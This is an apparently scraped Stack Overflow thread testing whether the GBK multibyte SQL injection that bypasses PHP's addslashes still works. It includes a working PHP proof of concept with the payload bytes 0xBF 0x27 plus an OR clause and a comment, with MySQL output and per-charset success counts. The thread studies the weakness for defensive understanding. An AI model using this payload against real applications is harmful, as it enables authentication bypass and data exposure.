6

I know "parameterised queries" is the holy grail. This is not the topic.

There is an old post, that seems to be the reference for all discussions related to sql injections when addslashes is used.

This is the link : http://shiflett.org/blog/2006/jan/addslashes-versus-mysql-real-escape-string

My question is : is this Proof of concept still correct ? I tried to test it but the addslashes seems to be working correctly. Did anyone else actually tried this or everybody is taken it for granted ?

  • I added $db->set_charset("GBK");
  • I used gbk_chinese_ci for db/fields
  • The mysql log shows this query
     SELECT *
            FROM   users
        WHERE  username = '�\' OR username = username /*'
        AND    password = 'guess'
    

    so clearly the trick it's not working

    Update : Please read the question I'm asking. I don't care for best practice, I don't need alternatives, I just need to makes sure this is still valid or not.

    Update : Also I would like to remind this POC works for character sets like GBK, SJIS or BIG5 and everybody seems to forget that. Making the titles sound a bit to scary when saying addslashes is not safe.

    Solution : In my case the mysql version 5.5.9-log is not allowing inline comments that are not finised like /*. If I use -- or # it works.

  • johnlemon
    • 20,761
    • 42
    • 119
    • 178
    • still correct when used with `addslashes()`. go for prepared statements though – knittl Feb 27 '11 at 12:07
    • knittl did you try the injection and works ? – johnlemon Feb 27 '11 at 12:08
    • behavior of addslashes did not change and will still operate on single byte chars and it does not take encoding into consideration – knittl Feb 27 '11 at 12:10
    • yes, but maybe php 5.3 or mysql 5.x made some improvements cause the query seems invalid on tests ... – johnlemon Feb 27 '11 at 12:11
    • 4
      +1 for the extremely rare "how it works" question among thousands "I have a code make it work" ones. You'll never get an answer though. SO folks never ever understand the question they answer :) It's deep in the nature of the site. – Your Common Sense Feb 27 '11 at 12:12
    • 6
      @ColShrapnel: So this is your one chance to shine. Instead of downvoting everyone, contribute an in-deep answer for once. – mario Feb 27 '11 at 12:21
    • There is no Yes/No answer here. It may depend on your version of PHP, MySQL and possibly whether you're using libmysql or mysqlnd. Although in this case, it is more a design flaw (on the programmer's part) than an exploit so I wouldn't expect any version of PHP to try to address this issue. – Josh Davis Feb 27 '11 at 12:28
    • @mario Not only one :) I post such questions regularly. However I just curious, am I only one who's going to run actual test. – Your Common Sense Feb 27 '11 at 12:28
    • @Josh you've got particular examples of "Yes" and "No" configurations, don't you? – Your Common Sense Feb 27 '11 at 12:29
    • @mario honestly, you take it all wrong. I am not downvoting *everyone*. I am downvoting **bad answers only** – Your Common Sense Feb 27 '11 at 12:34
    • "parameterised queries" is a holy grail only until you face a query like `"...ORDER BY $order"` ;-) – Your Common Sense Feb 27 '11 at 13:18
    • 1
      Yes, of course the injection example still valid! Neither the behavior of `addslashes` nor the GBK encoding have changed. ;) – Gumbo Feb 27 '11 at 16:29

    2 Answers2

    8

    It seems working for me.

    mysql:

    mysql> select version();
    +---------------------+
    | version()           |
    +---------------------+
    | 5.0.45-community-nt |
    +---------------------+
    1 row in set (0.00 sec)
    
    mysql> CREATE TABLE users (
        ->     username VARCHAR(32) CHARACTER SET GBK,
        ->     password VARCHAR(32) CHARACTER SET GBK,
        ->     PRIMARY KEY (username)
        -> );
    Query OK, 0 rows affected (0.08 sec)
    
    mysql> insert into users SET username='ewrfg', password='wer44';
    Query OK, 1 row affected (0.02 sec)
    
    mysql> insert into users SET username='ewrfg2', password='wer443';
    Query OK, 1 row affected (0.03 sec)
    
    mysql> insert into users SET username='ewrfg4', password='wer4434';
    Query OK, 1 row affected (0.00 sec)
    

    PHP:

    <pre><?php
    echo "PHP version: ".PHP_VERSION."\n";
    
    mysql_connect();
    mysql_select_db("test");
    mysql_query("SET NAMES GBK");
    
    $_POST['username'] = chr(0xbf).chr(0x27).' OR username = username /*';
    $_POST['password'] = 'guess';
    
    $username = addslashes($_POST['username']);
    $password = addslashes($_POST['password']);
    $sql = "SELECT * FROM  users WHERE  username = '$username' AND password = '$password'";
    $result = mysql_query($sql) or trigger_error(mysql_error().$sql);
    var_dump($username);
    var_dump(mysql_num_rows($result));
    var_dump(mysql_client_encoding());
    
    $username = mysql_real_escape_string($_POST['username']);
    $password = mysql_real_escape_string($_POST['password']);
    $sql = "SELECT * FROM  users WHERE  username = '$username' AND password = '$password'";
    $result = mysql_query($sql) or trigger_error(mysql_error().$sql);
    var_dump($username);
    var_dump(mysql_num_rows($result));
    var_dump(mysql_client_encoding());
    
    mysql_set_charset("GBK");
    $username = mysql_real_escape_string($_POST['username']);
    $password = mysql_real_escape_string($_POST['password']);
    $sql = "SELECT * FROM  users WHERE  username = '$username' AND password = '$password'";
    $result = mysql_query($sql) or trigger_error(mysql_error().$sql);
    var_dump($username);
    var_dump(mysql_num_rows($result));
    var_dump(mysql_client_encoding());
    

    result:

    PHP version: 5.3.3
    string(29) "ї\' OR username = username /*"
    int(3)
    string(6) "latin1"
    string(29) "ї\' OR username = username /*"
    int(3)
    string(6) "latin1"
    string(30) "\ї\' OR username = username /*"
    int(0)
    string(3) "gbk"
    

    Conclusions:

    A second result going to be most surprising for those who chants "you should use mres instead of addslashes!"

    Your Common Sense
    • 156,878
    • 40
    • 214
    • 345
    • OK, can you tell me your configuration ? mysql / php / os ? Thanks – johnlemon Feb 27 '11 at 12:37
    • @danip yup, just added it. Win. – Your Common Sense Feb 27 '11 at 12:38
    • It also works for me on MySQL 5.5.4/PHP 5.3.6 on Linux. My DB runs in ANSI mode so I had to replace ` /*` with ` --` – Josh Davis Feb 27 '11 at 12:46
    • When is the moment when the hex values get mixed ? If I echo the sql the injection should be visible? OR in the log files ? – johnlemon Feb 27 '11 at 12:49
    • @danip you can see the difference (I've added escaping result to the output). It seems `ї\ ` represents single character in GBK – Your Common Sense Feb 27 '11 at 12:58
    • But where is addslashes ? I see only mysql_real_escape_string – johnlemon Feb 27 '11 at 13:00
    • @danip oops, a typo. first one supposed to be. I'll correct in a second. The result remains the same though – Your Common Sense Feb 27 '11 at 13:01
    • So from what I see the query is malformed before is send to mysql. In this case mysql_real_escape_string is working for me and I can see the injection if I do a simple echo . But addslashes does nothing for me. – johnlemon Feb 27 '11 at 13:04
    • @danip mres works only if client encoding is set by `mysql_set_charset()` or server config (like in Shiflett's article). – Your Common Sense Feb 27 '11 at 13:08
    • NOTE: when I posted my previous comment saying that "it also works for me" I was referring to Shifflett's original PoC code. I didn't try the code that's been posted here. Also, using `SET NAMES` isn't recommended (as per the PHP manual) and you should use `mysqli::set_charset` instead. – Josh Davis Feb 27 '11 at 13:10
    • @danip it's already in the code, I added it recently to the each block. – Your Common Sense Feb 27 '11 at 13:12
    • OK Col. Shrapnel, I appreciate your help. Thank you very much for your time. – johnlemon Feb 27 '11 at 13:12
    • @danip It's you to thank for the interesting question. However, I still do not understand why it failed with your code. – Your Common Sense Feb 27 '11 at 13:15
    • That's what I'm trying to figure out. I thing It has something to do with mysql. Cause the query fails when I use addslashes for the example with mysql_real_escape_string the injection works. – johnlemon Feb 27 '11 at 13:17
    • Also I'm using fedora with mysql 5.5.9-log and PHP version: 5.3.5 so there is a difference. – johnlemon Feb 27 '11 at 13:18
    • @danip what driver you're using for the $db class? – Your Common Sense Feb 27 '11 at 13:28
    • the simple ext/mysql driver just like in your example – johnlemon Feb 27 '11 at 13:36
    • Interesting enough this query -- SELECT * as x FROM users WHERE username = '' OR username = username /*' AND password = 'guess' -- is not returning result on my mysql version. Can you confirm on your side is returning results ? – johnlemon Feb 27 '11 at 14:21
    • Ok. I got the problem. The comments have to be # or -- An inline comment like this /* will not return results any more ( if it's not finished ) – johnlemon Feb 27 '11 at 14:29
    3

    For you to get '�\' I'm guessing you used the 0x??5c multi-byte character instead of the 0x??27 multibyte character.

    I got the following results on my server (number of tested code points resulting in successful injections):

    • SJIS: 47/47
    • SJIS-win: 58/58
    • EUC-CN: 0/95
    • CP936: 126/126
    • BIG-5: 89/94
    • EUC-KR: 0/93

    I didn't test MySQL's other available charsets since they weren't available in PHP's mbstring extension, so I had no quick way of determining which multi-byte characters existed in those encodings. I also only tried double-byte characters, so there may be more vulnerable character sets.

    Also, it helps if the table data is in the same encoding that the client is set to. Otherwise, you get "Illegal mix of collations" errors for a lot of the potential code points.

    Lèse majesté
    • 7,923
    • 2
    • 33
    • 44
    • This is drivin me crazy! What do `0x27` and `0xBF` represent in GBK? Also, I'd like to understand your answer... – Raffaele Aug 20 '12 at 15:55
    • 1
      @Raffaele: As Chris Shiflett's article states, `0x27` is a single quote (`'`) in GBK, and `0xBF` is `¿`. This answer summarizes the results from running through each charset, looking for a valid multibyte string that ends in `0x5c` ( \ ), then constructing another multibyte string using the first byte of the previous mbstring + `0x27`. This way, when `mysql_real_escape_string()` adds a backslash in between the 2 bytes, the backslash gets eaten as a new mbstring (`0x??5c`), leaving an unescaped backslashes (`0x27`) after it. – Lèse majesté Aug 20 '12 at 16:20
    • Oops that last sentence should read: _...leaving an unescaped single quote after it_. – Lèse majesté Aug 24 '12 at 03:31